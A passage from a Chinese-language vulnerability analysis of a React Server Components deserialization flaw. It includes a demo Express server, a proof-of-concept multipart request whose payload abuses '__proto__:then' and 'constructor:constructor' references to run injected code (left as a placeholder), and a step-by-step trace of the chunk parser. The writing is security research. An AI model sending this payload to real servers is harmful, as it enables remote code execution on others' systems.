26px;"><span leaf="">method</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;decodeReplyFromBusboy&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">decodedData</span></span><span leaf="">: args,</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">catch</span></span><span leaf=""> (error) {</span><span leaf=""><br/></span><span leaf="">    res.status(</span><span style="line-height: 26px;"><span leaf="">500</span></span><span leaf="">).json({</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">success</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">false</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">error</span></span><span leaf="">: error.message,</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">});</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">start</span></span><span leaf="">(</span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> initReactServer();</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> PORT = process.env.PORT || </span><span style="line-height: 26px;"><span leaf="">3000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  app.listen(PORT, () =&gt; {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">console</span></span><span leaf="">.log(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">`✨ Server running on <a href="http://localhost:" target="_blank">http://localhost:</a></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">${PORT}</span></span><span leaf="">`</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">console</span></span><span leaf="">.log(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">`   POST <a href="http://localhost:" target="_blank">http://localhost:</a></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">${PORT}</span></span><span leaf="">/api/decode-busboy`</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">start();</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">package.json 如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;name&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;nextjs-rsc-decode-demo&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;version&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1.0.0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;description&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;Demo for React Server Components decodeReply and decodeReplyFromBusboy&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;commonjs&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;scripts&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;dev&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;node --conditions react-server server.js&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;start&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;node --conditions react-server server.js&#34;</span></span><span leaf=""><br/></span><span leaf="">  },</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;dependencies&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;express&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;^4.18.2&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;react&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;19.2.0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;react-dom&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;19.2.0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;react-server-dom-webpack&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;19.2.0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;busboy&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;^1.6.0&#34;</span></span><span leaf=""><br/></span><span leaf="">  },</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;devDependencies&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;@types/busboy&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;^1.5.0&#34;</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">创建好两个文件后，直接 npm install ，然后 npm run dev 即可。POC 就可以简化为：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">POST /api/decode-busboy HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: 127.0.0.1:3000</span><span leaf=""><br/></span><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0</span><span leaf=""><br/></span><span leaf="">Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Length: 530</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;then&#34;:&#34;$1:__proto__:then&#34;,&#34;status&#34;:&#34;resolved_model&#34;,&#34;reason&#34;:0,&#34;value&#34;:&#34;{\&#34;then\&#34;:\&#34;$B\&#34;}&#34;,&#34;_response&#34;:{&#34;_prefix&#34;:&#34;恶意代码&#34;,&#34;_formData&#34;:{&#34;get&#34;:&#34;$1:constructor:constructor&#34;}}}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">&#34;$@abc&#34;</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">同样的，可以将上面的 payload 格式化为如下的数据：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$1</span></span><span leaf="">:__proto__:then&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;status&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;resolved_model&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;reason&#34;</span></span><span leaf="">: 0,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;value&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;{\&#34;then\&#34;:\&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$B</span></span><span leaf="">\&#34;}&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_response&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_prefix&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;恶意代码&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_formData&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$1</span></span><span leaf="">:constructor:constructor&#34;</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">开始跟踪数据栈的解析步骤：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤一：数据进入 resolveField</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">resolveField(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;{&#34;then&#34;:&#34;$1:__proto__:then&#34;,...}&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  key = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf=""><br/></span><span leaf="">  id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">) = </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk = response._chunks.get(</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// undefined</span></span><span leaf=""><br/></span><span leaf="">  chunk = createPendingChunk(response);</span><span leaf=""><br/></span><span leaf="">  response._chunks.set(</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">, chunk);</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  resolveModelChunk(response, chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">], </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;{&#34;then&#34;:&#34;$1:...&#34;,...}&#39;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤二：resolveModelChunk 设置状态</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">resolveModelChunk(response, chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">], value, </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].status = RESOLVED_MODEL;</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].value = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;{&#34;then&#34;:&#34;$1:__proto__:then&#34;,...}&#39;</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 原始 JSON</span></span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].reason = {</span><span style="line-height: 26px;"><span leaf="">id</span></span><span leaf="">: </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">, [RESPONSE_SYMBOL]: response};</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 没有 listeners，不会立即初始化</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 等待 getRoot() 调用</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤三：解析 &#34;$@abc&#34;</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">resolveField(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#34;$@abc&#34;&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  id = 1</span><span leaf=""><br/></span><span leaf="">  chunk[1] = createPendingChunk(response);</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  resolveModelChunk(response, chunk[1], </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#34;$@abc&#34;&#39;</span></span><span leaf="">, 1)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  initializeModelChunk(chunk[1])</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  const rawModel = JSON.parse(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#34;$@abc&#34;&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  // rawModel = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf="">  (字符串)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  reviveModel(response, {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf="">}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤四：parseModelString 处理 &#34;$@abc&#34;</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, obj, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$@abc&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$@abc&#34;</span></span><span leaf=""> === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  parseModelString(response, obj, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$@abc&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;$&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;@&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// Chunk Reference 标记</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;@&#39;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(value.slice(</span><span style="line-height: 26px;"><span leaf="">2</span></span><span leaf="">), </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;$@abc&#34; → &#34;abc&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parseInt(&#34;abc&#34;, 16) = 2748</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 🔍 获取 chunk[2748]</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, </span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> chunk;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 返回 chunk 对象本身</span></span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤五：getChunk 创建 PENDING chunk</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getChunk(response, </span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk = response._chunks.get(</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// undefined</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 🔍 chunk 不存在，检查 FormData</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> key = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf=""> + (</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">).toString(</span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;0abc&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> backingEntry = response._formData.get(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0abc&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (backingEntry != </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// FormData 中有 &#34;0abc&#34; 字段吗？没有！</span></span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (response._closed) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 响应关闭了吗？还没有！</span></span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 🔍 创建 PENDING chunk</span></span><span leaf=""><br/></span><span leaf="">    chunk = createPendingChunk(response);</span><span leaf=""><br/></span><span leaf="">    response._chunks.set(</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">, chunk);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> chunk;</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤六：chunk[1] 初始化完成</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// initializeModelChunk 继续</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> value = reviveModel(...);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 返回 chunk[2748]（PENDING）</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 🔍 chunk[1] 初始化为 PENDING 的 chunk[2748]</span></span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].status = INITIALIZED;</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].value = chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 指向 PENDING chunk</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里核心点在于，chunk[1] 的值是另一个 PENDING 状态的 chunk</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Chunk 是 React Flight Protocol 中的数据容器，类似 Promise：</span></p><pre style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">type</span></span><span leaf=""> Chunk = {</span><span leaf=""><br/></span><span leaf="">  status: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;pending&#39;</span></span><span leaf=""> | </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;blocked&#39;</span></span><span leaf=""> | </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;resolved_model&#39;</span></span><span leaf=""> | </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;fulfilled&#39;</span></span><span leaf=""> | </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;rejected&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  value: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 可以是任何值，包括另一个 Chunk！</span></span><span leaf=""><br/></span><span leaf="">  reason: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  then(resolve, reject): </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">void</span></span><span leaf="">,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 实现了 thenable 接口</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着可以 Chunk 套 